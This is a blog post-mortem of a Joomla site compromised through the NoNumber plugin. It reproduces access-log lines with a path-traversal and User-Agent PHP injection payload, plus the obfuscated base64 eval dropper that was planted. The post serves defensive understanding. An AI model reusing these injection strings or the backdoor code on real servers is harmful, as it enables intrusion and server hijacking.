Mike Classic


Joomla NoNumber Hack


For some clients, custom development is beyond their budget, which is perfectly fine. In these situations, I like to whip sites together using CMS's like Joomla! All right, no problem, I say. I install Joomla 2.5.x and add a few extensions (plugins, modules, & components.)

Joomla has a vast extension ecosystem mostly written by third parties, both free and commercial. There are over 7,500 of them on extensions.joomla.org. Unfortunately, security vulnerabilities are unintentionally introduced on a regular basis, beyond the Joomla team's control.

Joomla can audit their own code; but it's up to these third parties to be responsible for what they release.

I've Been Compromised

A year or two ago, I was putting a Joomla site together. One of the extensions I installed was called NoNumber. It's a third party framework plugin manager for their other products. I was using this product to use their Component/Module/Extension Anywhere products, allowing one to place extensions where one couldn't otherwise (or at least it was tricky without using said product.)

I was checking my e-mail one morning when I discovered hundreds of SMTP postmaster e-mail bounces. Luckily, I caught it within an hour of them using my box as a spam relay. Shortly thereafter I received an abuse complaint from my server's ISP. I had 24 hours to fix it or they would shut down my server. It was a good thing that by the time they sent it to me I had already cleaned up.

Upon inspecting the logs, it turns out that I had been compromised a month beforehand. It seems to have taken these guys one month to actually use my box for their purposes from the point of seizing control.

I started browsing this particular site's file structure when I noticed something odd. A dot-file in the components/ directory. "This is odd," I thought, "A file called .asdfdsf.php." I opened up the file, it consisted of PHP and BASE64 encoded strings. Classic obfuscation.

Checking The Logs

At this point I needed to determine when I was compromised and by whom. So I zgrep'd my access-log archives. I determined later on after fully assessing the scope of the attack and the pattern in the access logs that it was part of a botnet.

dummysite@dummysite.xyz [~/logs]$ zgrep nn_qp dummysite.xyz-Feb-2013.gz |less - - [03/Feb/2013:08:26:28 -0500] "GET //index.php?nn_qp=1&url=http://www.nonumber.nl/ HTTP/1.1" 200 31830 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022)" - - [05/Feb/2013:07:27:41 -0500] "POST /index.php?nn_qp=1&url=www.nonumber.nl/about/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1) Gecko/20110403 Firefox/3.6a1pre"

First thing to notice was that they were testing for vulnerability by accessing nn_qp parameter. Once they were able to determine access, they modified their User-Agent header with some PHP injection as follows. - - [15/Feb/2013:07:06:02 -0500] "GET /index.php?nn_qp=1&file=%2e%2e%2f%2e%2e%2fproc/self/environ%00.inc.php HTTP/1.1" 301 - "-" "Mozilla/5.0 <?file_put_contents('tmp/j.php',base64_decode('PD9ldmFsKHN0cmlwc2xhc2hlcyhhcnJheV9wb3AoJF9QT1NUKSkpOz8+'));?>"    

The malicious PHP injection code was placed in two parts of the HTTP request, its intention to plant a dropper file in the filesystem. The contents of this file were obfuscated using BASE64 encoding and escaped hex code representing ASCII characters.

One attempt was to insert the projected filepath for a dropper into the URI's query string in the file parameter. In this case, in the proc/self/environ%00.inc.php file.

The second part of the query, not sure if it was related to the first part of a second vector, was to inject code via a modified User-Agent string, normally where OS info goes. Not sure if this part was file contents for the filepath in file or that the injected code is executed directly by the NoNumber script.

The one that seemed to have worked in my case was located in /tmp/j.php. Using the same methods, they tried to plant several dropper files to appear in the /proc filesystem as a floppy device and other device impersonation attempts were as an environ device/file.

They tried to do this by manipulating the filename and taking advantage of string output. By adding a null character (ASCII code 00) so that when it was listed, say via the ls command, it looked like /proc/self/fd/8 but in reality the full filename was /proc/self/fd/8(null).inc.php. Not a new method by any means, but nevertheless, sneaky, huh?

The dropper file's contents were obfuscated as such:

<?php //cb6f82f3e4007bdaccf419abafab94c8
//system file do not delete    
//system file do not delete    
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

The following is what the dropper file decodes to:


This allows it to eval any code passed to it via the _CODE URI query string parameter.

They ended up POSTing a PHP file that was a remote control page called Web Shell (WSO.) I won't post the code here as it is too long — and can also be found all over the web — but here are some screenshots of it in a browser.

Cleaning Up

Well this was easy. I removed all files, added a few subnets to my iptables DENY policy, and updated the NoNumber extensions with a security fix.

Who Are They?

I did a little further digging to try and find any information I could on this botnet. I didn't find much, but I did perform a WHOIS on the originating IP's. Several actors seem to have taken part. One from Vietnam. One from the UAE. A third one from the Ukraine. A fourth one from Belarus.

Unless there was some world conspiracy, it was pretty clear this was part of a botnet.

Lesson Learned

What lesson did I learn? I was not proactive enough in my security, having missed some updates which could've prevented this whole mess. This is why you should be proactive and not reactive when it comes to security, people.

See More